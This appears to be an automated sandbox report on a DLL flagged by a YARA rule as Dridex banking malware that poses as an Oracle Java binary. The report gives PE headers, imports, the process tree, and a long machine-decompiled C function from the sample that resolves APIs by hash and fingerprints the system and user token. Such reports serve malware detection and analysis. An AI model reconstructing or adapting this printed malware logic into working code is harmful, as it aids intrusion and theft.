IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x88c2	0x8a00	False	0.426007699275	data	5.59277211248	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xa000	0x958	0xa00	False	0.535546875	data	4.25539889565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0xb000	0x2029c	0x1e400	False	0.84991606405	data	7.87197522751	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2c000	0x390	0x400	False	0.41796875	data	3.02156416239	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2d000	0x640	0x800	False	0.6357421875	data	5.25632437688	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x2c060	0x32c	data

Imports

DLL	Import
USER32.dll	DragDetect, TranslateMessage, EnumDisplayDevicesW, GetMenuState
KERNEL32.dll	GetSystemDefaultUILanguage, GetPriorityClass, GetModuleHandleW, OutputDebugStringA, LoadLibraryA, CloseHandle, LoadLibraryExA
WINTRUST.dll	CryptCATAdminCalcHashFromFileHandle
GDI32.dll	OffsetClipRgn
ADVAPI32.dll	RegLoadAppKeyW, CloseEncryptedFileRaw

Version Infos

Description	Data
LegalCopyright	Copyright 2018
InternalName	ofl
FileVersion	1.3.6923.00
Full Version	1.3.6_000-b00
CompanyName	Oracle Corporation
ProductName	Ofll(EH) Watgevae KT 8
ProductVersion	1.3.6923.00
FileDescription	Java(TM) Platform SE binary
OriginalFilename	ofl.dll
Translation	0x0000 0x04b0

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 2396 Parent PID: 5740

General

Start time:	07:03:10
Start date:	13/05/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll'
Imagebase:	0x160000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 3176 Parent PID: 2396

General

Start time:	07:03:10
Start date:	13/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll',#1
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2600 Parent PID: 3176

General

Start time:	07:03:11
Start date:	13/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\923fc959_by_Libranalysis.dll',#1
Imagebase:	0x820000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 2600 Parent PID: 3176 rundll32.exeCOMMON

Executed Functions

Function 6F3F07CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E6F3F07CC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _t152;
				void* _t155;
				signed char* _t156;
				char _t159;
				intOrPtr* _t163;
				void* _t177;
				intOrPtr _t186;
				char _t187;
				void* _t192;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				void* _t208;
				void* _t209;
				void* _t211;
				void* _t212;
				void* _t219;
				void* _t232;
				void* _t234;
				void* _t237;
				void* _t240;
				void* _t243;
				void* _t246;
				void* _t250;
				void* _t254;
				void* _t255;
				void* _t257;
				long _t258;
				void* _t261;
				void* _t264;
				int _t267;
				void* _t268;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t278;
				int _t280;
				intOrPtr* _t284;
				signed char _t288;
				signed char _t289;
				signed int _t293;
				void* _t314;
				void* _t319;
				void* _t355;
				void* _t364;
				void* _t369;
				void* _t374;
				void* _t375;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t385;
				void* _t392;
				signed int _t397;
				intOrPtr* _t400;
				void* _t403;
				signed int _t405;
				void* _t407;
				void* _t408;
				void* _t413;
				intOrPtr* _t417;
				void* _t419;
				void** _t421;
				void* _t422;
				void* _t423;
				void* _t424;

				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t423 = _t422 - 0x1e0;
				_t407 = __ecx;
				_t152 =  *0x6f3fd1f8;
				if(_t152 == 0x16a9e13a) {
					_t152 = E6F3F3558(0x30);
					 *0x6f3fd1f8 = _t152;
				}
				if( *((char*)(_t152 + 0xb)) == 0 || _t407 != 0) {
					_t408 = _t423 + 0x48;
					E6F3F35D4(_t408, 0, 0x11c);
					_t424 = _t423 + 0xc;
					 *((intOrPtr*)(_t424 + 0x48)) = 0x11c;
					_t155 = E6F3F2F94(0x4bcc7cba, 0xa7920a3, 0x4bcc7cba, 0x4bcc7cba);
					if(_t155 == 0) {
						_t395 =  *0x6f3fd1f8;
						_t156 = _t424 + 0x4c;
						_t288 =  *_t156;
						 *(_t395 + 8) = _t288;
						_t289 = _t156[4];
						 *(_t395 + 9) = _t289;
						__eflags = _t156[0x116] - 1;
						_t389 =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xa)) = _t156[0x110];
						 *(_t395 + 4) =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xc)) = 0 | _t156[0x116] != 0x00000001;
						 *_t395 = (_t289 & 0x000000ff) + ((_t288 & 0x000000ff) << 4) - 0x50;
						_t159 = E6F3F1094(_t395);
						 *(_t424 + 0x198) = 0;
						 *((char*)( *0x6f3fd1f8 + 0xb)) = _t159;
						_t355 = E6F3F2F94(0xd0443458, 0xd8ece5ad, _t159, _t159);
						__eflags = _t355;
						if(_t355 == 0) {
							L12:
							__eflags = 0;
							 *((char*)( *0x6f3fd1f8 + 0x28)) = 0;
							_t163 = E6F3F07CC(0x6f3fd1f8, 0, _t389, _t395);
							__eflags =  *_t163 - 0x10;
							if( *_t163 >= 0x10) {
								_t293 = 6;
								memcpy(_t424 + 0x164, 0x6f3fbc80, _t293 << 2);
								_t424 = _t424 + 0xc;
								_t392 = 0x6f3fbc80 + _t293 + _t293;
								 *((intOrPtr*)(_t424 + 0x1c)) = 0;
								E6F3EF620(_t424 + 0x24, 0);
								_t397 = 0;
								__eflags = 0;
								do {
									E6F3EF8C4(_t424 + 0x24, E6F3EF568(_t424 + 0x20) + 4);
									 *((intOrPtr*)(E6F3EF558(_t424 + 0x24, E6F3EF568(_t424 + 0x20) + 0xfffffffc))) =  *((intOrPtr*)(_t424 + 0x164 + _t397 * 4));
									_t397 = _t397 + 1;
									 *((intOrPtr*)(_t424 + 0x1c)) =  *((intOrPtr*)(_t424 + 0x1c)) + 1;
									__eflags = _t397 - 6;
								} while (_t397 < 6);
								_push(0);
								E6F3F54EC(_t424 + 0xc, _t424 + 0x1c, 0x80000002);
								E6F3EF6F0(_t424 + 0x20);
								E6F3F551C(_t424 + 8, _t424 + 0x1c0, 0x5411b30);
								_t177 = E6F3F57D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c0)));
								_t398 = _t177;
								E6F3EE054(_t424 + 0x1c0);
								__eflags = _t177;
								if(_t177 != 0) {
									E6F3F551C(_t424 + 8, _t424 + 0x1c8, 0xdb1d9b48);
									_t413 = E6F3F57D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c8)));
									E6F3EE054(_t424 + 0x1c8);
									_t398 = _t424 + 0x1d0;
									E6F3F551C(_t424 + 8, _t424 + 0x1d0, 0xf3453dd0);
									_t392 = E6F3F57D0(_t424 + 4, __eflags,  *(_t424 + 0x1d0));
									E6F3EE054(_t424 + 0x1d0);
									__eflags = _t413;
									if(_t413 != 0) {
										__eflags = _t413 - 5;
										if(_t413 != 5) {
											__eflags = _t413 - 2;
											if(_t413 != 2) {
												goto L58;
											} else {
												__eflags = _t392 - 1;
												if(_t392 != 1) {
													goto L58;
												} else {
													E6F3ED098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t375 =  *(_t424 + 4);
														__eflags = _t375;
														if(_t375 == 0) {
															L53:
															_t237 = 1;
														} else {
															__eflags = _t375 - 0xffffffff;
															if(_t375 != 0xffffffff) {
																_t237 = 0;
																__eflags = 0;
															} else {
																goto L53;
															}
														}
														__eflags = _t237;
														if(_t237 == 0) {
															E6F3F54C4(_t375);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 5;
												}
											}
										} else {
											__eflags = _t392;
											if(_t392 != 0) {
												__eflags = _t392 - 1;
												if(_t392 == 1) {
													E6F3ED098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t376 =  *(_t424 + 4);
														__eflags = _t376;
														if(_t376 == 0) {
															L108:
															_t240 = 1;
														} else {
															__eflags = _t376 - 0xffffffff;
															if(_t376 != 0xffffffff) {
																_t240 = 0;
																__eflags = 0;
															} else {
																goto L108;
															}
														}
														__eflags = _t240;
														if(_t240 == 0) {
															E6F3F54C4(_t376);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 4;
												} else {
													goto L58;
												}
											} else {
												E6F3ED098(_t424 + 0xc);
												__eflags =  *((char*)(_t424 + 8));
												if( *((char*)(_t424 + 8)) != 0) {
													_t377 =  *(_t424 + 4);
													__eflags = _t377;
													if(_t377 == 0) {
														L41:
														_t243 = 1;
													} else {
														__eflags = _t377 - 0xffffffff;
														if(_t377 != 0xffffffff) {
															_t243 = 0;
															__eflags = 0;
														} else {
															goto L41;
														}
													}
													__eflags = _t243;
													if(_t243 == 0) {
														E6F3F54C4(_t377);
													}
												}
												 *(_t424 + 4) = 0;
												_t186 = 3;
											}
										}
									} else {
										__eflags = _t392;
										if(_t392 != 0) {
											L58:
											E6F3ED098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t374 =  *(_t424 + 4);
												__eflags = _t374;
												if(_t374 == 0) {
													L61:
													_t234 = 1;
												} else {
													__eflags = _t374 - 0xffffffff;
													if(_t374 != 0xffffffff) {
														_t234 = 0;
														__eflags = 0;
													} else {
														goto L61;
													}
												}
												__eflags = _t234;
												if(_t234 == 0) {
													E6F3F54C4(_t374);
												}
											}
											_t186 = 0;
											__eflags = 0;
											 *(_t424 + 4) = 0;
										} else {
											E6F3ED098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t378 =  *(_t424 + 4);
												__eflags = _t378;
												if(_t378 == 0) {
													L31:
													_t246 = 1;
												} else {
													__eflags = _t378 - 0xffffffff;
													if(_t378 != 0xffffffff) {
														_t246 = 0;
														__eflags = 0;
													} else {
														goto L31;
													}
												}
												__eflags = _t246;
												if(_t246 == 0) {
													E6F3F54C4(_t378);
												}
											}
											 *(_t424 + 4) = 0;
											_t186 = 2;
										}
									}
								} else {
									E6F3ED098(_t424 + 0xc);
									__eflags =  *((char*)(_t424 + 8));
									if( *((char*)(_t424 + 8)) != 0) {
										_t379 =  *(_t424 + 4);
										__eflags = _t379;
										if(_t379 == 0) {
											L21:
											_t250 = 1;
										} else {
											__eflags = _t379 - 0xffffffff;
											if(_t379 != 0xffffffff) {
												_t250 = 0;
												__eflags = 0;
											} else {
												goto L21;
											}
										}
										__eflags = _t250;
										if(_t250 == 0) {
											E6F3F54C4(_t379);
										}
									}
									 *(_t424 + 4) = 0;
									_t186 = 1;
								}
							} else {
								_t186 = 1;
							}
							 *((intOrPtr*)( *0x6f3fd1f8 + 0x24)) = _t186;
							_t187 = E6F3F10CC(0xffffffffffffffff);
							_t314 =  *0x6f3fd1f8;
							 *((char*)(_t314 + 0x29)) = _t187;
							__eflags =  *_t314 - 0x10;
							 *((intOrPtr*)(_t314 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
							if( *_t314 >= 0x10) {
								__eflags = 0xffffffffffffffff;
								 *((intOrPtr*)( *0x6f3fd1f8 + 0x2c)) = E6F3F1140(0xffffffffffffffff, _t392, _t398);
								goto L78;
							} else {
								 *(_t424 + 0x19c) = 0;
								_t364 = E6F3F2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
								__eflags = _t364;
								if(_t364 == 0) {
									L74:
									_t196 =  *0x6f3fd1f8;
									__eflags =  *((char*)(_t196 + 0x28));
									if( *((char*)(_t196 + 0x28)) == 0) {
										 *((intOrPtr*)(_t196 + 0x2c)) = 3;
									} else {
										 *((intOrPtr*)(_t196 + 0x2c)) = 5;
									}
									goto L78;
								} else {
									_t198 =  *_t364(0xffffffff, 8, _t424 + 0x19c);
									__eflags = _t198;
									if(_t198 == 0) {
										_t199 = E6F3F352C(_t398);
										__eflags = _t199;
										if(_t199 != 0) {
											goto L74;
										} else {
											goto L69;
										}
									} else {
										L69:
										 *(_t424 + 0x30) =  *(_t424 + 0x19c);
										 *((char*)(_t424 + 0x34)) = 1;
										 *(_t424 + 0x1a4) = 0;
										_t319 = E6F3F2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
										__eflags = _t319;
										if(_t319 != 0) {
											_t232 =  *_t319( *(_t424 + 0x1ac), 1, 0, 0, _t424 + 0x1a4);
											__eflags = _t232;
											if(_t232 == 0) {
												E6F3F352C(_t398);
											}
										}
										_t202 =  *(_t424 + 0x1a4);
										__eflags = _t202;
										if(_t202 != 0) {
											E6F3EF620(_t424 + 0x18c, _t202);
											_t403 = E6F3F2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
											__eflags = _t403;
											if(_t403 == 0) {
												L124:
												E6F3EF6F0(_t424 + 0x188);
												goto L72;
											} else {
												_t208 = E6F3EF558(_t424 + 0x18c, 0);
												_t209 = E6F3EF568(_t424 + 0x188);
												_t211 =  *_t403( *(_t424 + 0x1ac), 1, _t208, _t209, _t424 + 0x1a4);
												__eflags = _t211;
												if(_t211 == 0) {
													_t212 = E6F3F352C(_t403);
													__eflags = _t212;
													if(_t212 != 0) {
														goto L124;
													} else {
														goto L116;
													}
												} else {
													L116:
													_t417 = E6F3EF558(_t424 + 0x18c, 0);
													E6F3EDFFC(_t424 + 0x1b4, 0);
													 *(_t424 + 0x1ac) = 0;
													_t369 = E6F3F2F94(0xd0443458, 0x39521505, 0xd0443458, 0xd0443458);
													__eflags = _t369;
													if(_t369 != 0) {
														 *_t369( *_t417, _t424 + 0x1ac);
													}
													E6F3EE070(_t424 + 0x1b4,  *(_t424 + 0x1ac));
													_t219 = E6F3F2F94(0x4bcc7cba, 0x1f221433, 0x4bcc7cba, 0x4bcc7cba);
													__eflags = _t219;
													if(_t219 == 0) {
														E6F3EE11C(_t424 + 0x1b8 - 8, _t424 + 0x1b8);
														_t419 = E6F3F4BE0( *((intOrPtr*)(_t424 + 0x1b8)), E6F3EE94C( *((intOrPtr*)(_t424 + 0x1b8)), 0x7fffffff));
														E6F3EE054(_t424 + 0x1b8);
														E6F3EE054(_t424 + 0x1b0);
														E6F3EF6F0(_t424 + 0x188);
														__eflags =  *((char*)(_t424 + 0x34));
														if( *((char*)(_t424 + 0x34)) != 0) {
															E6F3EBC00(_t424 + 0x30);
														}
														__eflags = _t419 - 0x6df4cf7;
														if(_t419 != 0x6df4cf7) {
															goto L74;
														} else {
															 *((intOrPtr*)( *0x6f3fd1f8 + 0x2c)) = 6;
															L78:
															_t192 = E6F3F2F94(0x4bcc7cba, 0x57154e4e, 0x4bcc7cba, 0x4bcc7cba);
															__eflags = _t192;
															if(_t192 != 0) {
																GetSystemInfo(_t424 + 0x164); // executed
															}
															_t152 =  *0x6f3fd1f8;
															_t284 = _t424 + 0x178;
															_t400 = _t424 + 0x170;
															 *((short*)(_t152 + 0xe)) =  *_t284;
															 *((intOrPtr*)(_t152 + 0x10)) =  *((intOrPtr*)(_t284 - 0x10));
															 *((intOrPtr*)(_t152 + 0x14)) =  *((intOrPtr*)(_t284 - 0xc));
															 *((intOrPtr*)(_t152 + 0x18)) =  *_t400;
															 *((intOrPtr*)(_t152 + 0x1c)) =  *((intOrPtr*)(_t400 + 0x10));
															goto L81;
														}
													} else {
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t219;
													}
												}
											}
										} else {
											L72:
											__eflags =  *((char*)(_t424 + 0x34));
											if( *((char*)(_t424 + 0x34)) != 0) {
												E6F3EBC00(_t424 + 0x30);
											}
											goto L74;
										}
									}
								}
							}
						} else {
							_t254 =  *_t355(0xffffffff, 8, _t424 + 0x198);
							__eflags = _t254;
							if(_t254 == 0) {
								_t255 = E6F3F352C(_t395);
								__eflags = _t255;
								if(_t255 != 0) {
									goto L12;
								} else {
									goto L7;
								}
							} else {
								L7:
								 *(_t424 + 0x14) =  *(_t424 + 0x198);
								 *((char*)(_t424 + 0x18)) = 1;
								 *(_t424 + 0x1a0) = 0;
								_t257 = E6F3F2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
								__eflags = _t257;
								if(_t257 != 0) {
									_t280 = GetTokenInformation( *(_t424 + 0x1a8), 2, 0, 0, _t424 + 0x1a0); // executed
									__eflags = _t280;
									if(_t280 == 0) {
										E6F3F352C(_t395);
									}
								}
								_t258 =  *(_t424 + 0x1a0);
								__eflags = _t258;
								if(_t258 != 0) {
									E6F3EF620(_t424 + 0x3c, _t258);
									_t261 = E6F3F2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
									_t395 = _t261;
									__eflags = _t261;
									if(_t261 == 0) {
										L98:
										E6F3EF6F0(_t424 + 0x38);
										goto L10;
									} else {
										_t264 = E6F3EF558(_t424 + 0x3c, 0);
										_t267 = GetTokenInformation( *(_t424 + 0x1a8), 2, _t264, E6F3EF568(_t424 + 0x38), _t424 + 0x1a0); // executed
										__eflags = _t267;
										if(_t267 == 0) {
											_t268 = E6F3F352C(_t395);
											__eflags = _t268;
											if(_t268 != 0) {
												goto L98;
											} else {
												goto L85;
											}
										} else {
											L85:
											_t421 = E6F3EF558(_t424 + 0x3c, 0);
											_t389 = _t424 + 0x1d8;
											 *(_t424 + 0x1d8 - 0x30) = 0;
											asm("movsd");
											asm("movsb");
											asm("movsb");
											_t395 = E6F3F2F94(0xd0443458, 0xe6199b6e, 0xd0443458, 0xd0443458);
											__eflags = _t395;
											if(_t395 == 0) {
												goto L98;
											} else {
												_t272 = _t424 + 0x1a8;
												_t273 =  *_t395(_t272 + 0x30, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t272);
												__eflags = _t273;
												if(_t273 == 0) {
													_t274 = E6F3F352C(_t395);
													__eflags = _t274;
													if(_t274 != 0) {
														goto L98;
													} else {
														goto L87;
													}
												} else {
													L87:
													_t389 =  *(_t424 + 0x1a8);
													__eflags =  *_t421;
													if( *_t421 <= 0) {
														L92:
														__eflags = _t389;
														if(_t389 == 0) {
															L94:
															_t385 = 1;
														} else {
															__eflags = _t389 - 0xffffffff;
															if(_t389 != 0xffffffff) {
																_t385 = 0;
																__eflags = 0;
															} else {
																goto L94;
															}
														}
														__eflags = _t385;
														if(_t385 == 0) {
															E6F3F1070(_t389, _t395, _t389);
														}
														goto L98;
													} else {
														_t405 = 0;
														__eflags = 0;
														while(1) {
															_t278 = E6F3F2F94(0xd0443458, 0x713d44b5, 0xd0443458, 0xd0443458);
															__eflags = _t278;
															if(_t278 != 0) {
																break;
															}
															_t405 = _t405 + 1;
															__eflags = _t405 -  *_t421;
															if(_t405 <  *_t421) {
																continue;
															} else {
																goto L92;
															}
															goto L130;
														}
														_push( *((intOrPtr*)(_t421 + 4 + _t405 * 8)));
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t278;
													}
												}
											}
										}
									}
								} else {
									L10:
									__eflags =  *((char*)(_t424 + 0x18));
									if( *((char*)(_t424 + 0x18)) != 0) {
										E6F3EBC00(_t424 + 0x14);
									}
									goto L12;
								}
							}
						}
					} else {
						_push(_t408);
						asm("int3");
						return _t155;
					}
				} else {
					L81:
					return _t152;
				}
				L130:
			}

0x6f3f07cc
0x6f3f07cd
0x6f3f07ce
0x6f3f07d0
0x6f3f07db
0x6f3f07dd
0x6f3f07e4
0x6f3f1063
0x6f3f1069
0x6f3f1069
0x6f3f07ee
0x6f3f07fa
0x6f3f0806
0x6f3f080b
0x6f3f0818
0x6f3f0822
0x6f3f0829
0x6f3f082e
0x6f3f0832
0x6f3f0836
0x6f3f083b
0x6f3f083e
0x6f3f0844
0x6f3f084a
0x6f3f0857
0x6f3f085e
0x6f3f0865
0x6f3f0868
0x6f3f086b
0x6f3f086d
0x6f3f0879
0x6f3f0886
0x6f3f0893
0x6f3f0895
0x6f3f0897
0x6f3f0923
0x6f3f0923
0x6f3f0929
0x6f3f092c
0x6f3f0931
0x6f3f0934
0x6f3f094c
0x6f3f094d
0x6f3f094d
0x6f3f094d
0x6f3f0951
0x6f3f095a
0x6f3f095f
0x6f3f095f
0x6f3f0961
0x6f3f0972
0x6f3f0994
0x6f3f0996
0x6f3f0997
0x6f3f099b
0x6f3f099b
0x6f3f09a4
0x6f3f09b0
0x6f3f09b9
0x6f3f09cf
0x6f3f09df
0x6f3f09e4
0x6f3f09e8
0x6f3f09ed
0x6f3f09ef
0x6f3f0a3f
0x6f3f0a54
0x6f3f0a58
0x6f3f0a5d
0x6f3f0a6e
0x6f3f0a83
0x6f3f0a87
0x6f3f0a8c
0x6f3f0a8e
0x6f3f0ad5
0x6f3f0ad8
0x6f3f0b26
0x6f3f0b29
0x00000000
0x6f3f0b2b
0x6f3f0b2b
0x6f3f0b2e
0x00000000
0x6f3f0b30
0x6f3f0b34
0x6f3f0b39
0x6f3f0b3e
0x6f3f0b40
0x6f3f0b44
0x6f3f0b46
0x6f3f0b4d
0x6f3f0b4d
0x6f3f0b48
0x6f3f0b48
0x6f3f0b4b
0x6f3f0b51
0x6f3f0b51
0x00000000
0x00000000
0x00000000
0x6f3f0b4b
0x6f3f0b53
0x6f3f0b55
0x6f3f0b58
0x6f3f0b58
0x6f3f0b55
0x6f3f0b5d
0x6f3f0b67
0x6f3f0b67
0x6f3f0b2e
0x6f3f0ada
0x6f3f0ada
0x6f3f0adc
0x6f3f0b1b
0x6f3f0b1e
0x6f3f0e90
0x6f3f0e95
0x6f3f0e9a
0x6f3f0e9c
0x6f3f0ea0
0x6f3f0ea2
0x6f3f0ea9
0x6f3f0ea9
0x6f3f0ea4
0x6f3f0ea4
0x6f3f0ea7
0x6f3f0ead
0x6f3f0ead
0x00000000
0x00000000
0x00000000
0x6f3f0ea7
0x6f3f0eaf
0x6f3f0eb1
0x6f3f0eb4
0x6f3f0eb4
0x6f3f0eb1
0x6f3f0eb9
0x6f3f0ec3
0x6f3f0b24
0x00000000
0x6f3f0b24
0x6f3f0ade
0x6f3f0ae2
0x6f3f0ae7
0x6f3f0aec
0x6f3f0aee
0x6f3f0af2
0x6f3f0af4
0x6f3f0afb
0x6f3f0afb
0x6f3f0af6
0x6f3f0af6
0x6f3f0af9
0x6f3f0aff
0x6f3f0aff
0x00000000
0x00000000
0x00000000
0x6f3f0af9
0x6f3f0b01
0x6f3f0b03
0x6f3f0b06
0x6f3f0b06
0x6f3f0b03
0x6f3f0b0b
0x6f3f0b15
0x6f3f0b15
0x6f3f0adc
0x6f3f0a90
0x6f3f0a90
0x6f3f0a92
0x6f3f0b6a
0x6f3f0b6e
0x6f3f0b73
0x6f3f0b78
0x6f3f0b7a
0x6f3f0b7e
0x6f3f0b80
0x6f3f0b87
0x6f3f0b87
0x6f3f0b82
0x6f3f0b82
0x6f3f0b85
0x6f3f0b8b
0x6f3f0b8b
0x00000000
0x00000000
0x00000000
0x6f3f0b85
0x6f3f0b8d
0x6f3f0b8f
0x6f3f0b92
0x6f3f0b92
0x6f3f0b8f
0x6f3f0b97
0x6f3f0b97
0x6f3f0b99
0x6f3f0a98
0x6f3f0a9c
0x6f3f0aa1
0x6f3f0aa6
0x6f3f0aa8
0x6f3f0aac
0x6f3f0aae
0x6f3f0ab5
0x6f3f0ab5
0x6f3f0ab0
0x6f3f0ab0
0x6f3f0ab3
0x6f3f0ab9
0x6f3f0ab9
0x00000000
0x00000000
0x00000000
0x6f3f0ab3
0x6f3f0abb
0x6f3f0abd
0x6f3f0ac0
0x6f3f0ac0
0x6f3f0abd
0x6f3f0ac5
0x6f3f0acf
0x6f3f0acf
0x6f3f0a92
0x6f3f09f1
0x6f3f09f5
0x6f3f09fa
0x6f3f09ff
0x6f3f0a01
0x6f3f0a05
0x6f3f0a07
0x6f3f0a0e
0x6f3f0a0e
0x6f3f0a09
0x6f3f0a09
0x6f3f0a0c
0x6f3f0a12
0x6f3f0a12
0x00000000
0x00000000
0x00000000
0x6f3f0a0c
0x6f3f0a14
0x6f3f0a16
0x6f3f0a19
0x6f3f0a19
0x6f3f0a16
0x6f3f0a1e
0x6f3f0a28
0x6f3f0a28
0x6f3f0936
0x6f3f0938
0x6f3f0938
0x6f3f0ba2
0x6f3f0ba5
0x6f3f0baa
0x6f3f0bac
0x6f3f0bb5
0x6f3f0bc1
0x6f3f0bc4
0x6f3f0c92
0x6f3f0c9a
0x00000000
0x6f3f0bca
0x6f3f0bd4
0x6f3f0be6
0x6f3f0be8
0x6f3f0bea
0x6f3f0c76
0x6f3f0c76
0x6f3f0c78
0x6f3f0c7c
0x6f3f0c87
0x6f3f0c7e
0x6f3f0c7e
0x6f3f0c7e
0x00000000
0x6f3f0bf0
0x6f3f0bfc
0x6f3f0bfe
0x6f3f0c00
0x6f3f104f
0x6f3f1054
0x6f3f1056
0x00000000
0x6f3f105c
0x00000000
0x6f3f105c
0x6f3f0c06
0x6f3f0c06
0x6f3f0c17
0x6f3f0c1b
0x6f3f0c20
0x6f3f0c32
0x6f3f0c34
0x6f3f0c36
0x6f3f0c4d
0x6f3f0c4f
0x6f3f0c51
0x6f3f0ec9
0x6f3f0ec9
0x6f3f0c51
0x6f3f0c57
0x6f3f0c5e
0x6f3f0c60
0x6f3f0edb
0x6f3f0ef1
0x6f3f0ef3
0x6f3f0ef5
0x6f3f1030
0x6f3f1037
0x00000000
0x6f3f0efb
0x6f3f0f04
0x6f3f0f12
0x6f3f0f2c
0x6f3f0f2e
0x6f3f0f30
0x6f3f1041
0x6f3f1046
0x6f3f1048
0x00000000
0x6f3f104a
0x00000000
0x6f3f104a
0x6f3f0f36
0x6f3f0f36
0x6f3f0f44
0x6f3f0f4f
0x6f3f0f5e
0x6f3f0f70
0x6f3f0f72
0x6f3f0f74
0x6f3f0f81
0x6f3f0f81
0x6f3f0f91
0x6f3f0fa2
0x6f3f0fa7
0x6f3f0fa9
0x6f3f0fbf
0x6f3f0fe0
0x6f3f0fe9
0x6f3f0ff5
0x6f3f1001
0x6f3f1006
0x6f3f100b
0x6f3f1011
0x6f3f1011
0x6f3f1016
0x6f3f101c
0x00000000
0x6f3f1022
0x6f3f1024
0x6f3f0c9d
0x6f3f0ca9
0x6f3f0cb0
0x6f3f0cb2
0x6f3f0cbc
0x6f3f0cbc
0x6f3f0cbe
0x6f3f0cc0
0x6f3f0ccf
0x6f3f0cdb
0x6f3f0cdf
0x6f3f0ce2
0x6f3f0ce5
0x6f3f0ce8
0x00000000
0x6f3f0ce8
0x6f3f0fab
0x6f3f0fab
0x6f3f0fb2
0x6f3f0fb3
0x6f3f0fb3
0x6f3f0fa9
0x6f3f0f30
0x6f3f0c66
0x6f3f0c66
0x6f3f0c66
0x6f3f0c6b
0x6f3f0c71
0x6f3f0c71
0x00000000
0x6f3f0c6b
0x6f3f0c60
0x6f3f0c00
0x6f3f0bea
0x6f3f089d
0x6f3f08a9
0x6f3f08ab
0x6f3f08ad
0x6f3f0e7a
0x6f3f0e7f
0x6f3f0e81
0x00000000
0x6f3f0e87
0x00000000
0x6f3f0e87
0x6f3f08b3
0x6f3f08b3
0x6f3f08c4
0x6f3f08c8
0x6f3f08cd
0x6f3f08da
0x6f3f08e1
0x6f3f08e3
0x6f3f08fa
0x6f3f08fc
0x6f3f08fe
0x6f3f0cf6
0x6f3f0cf6
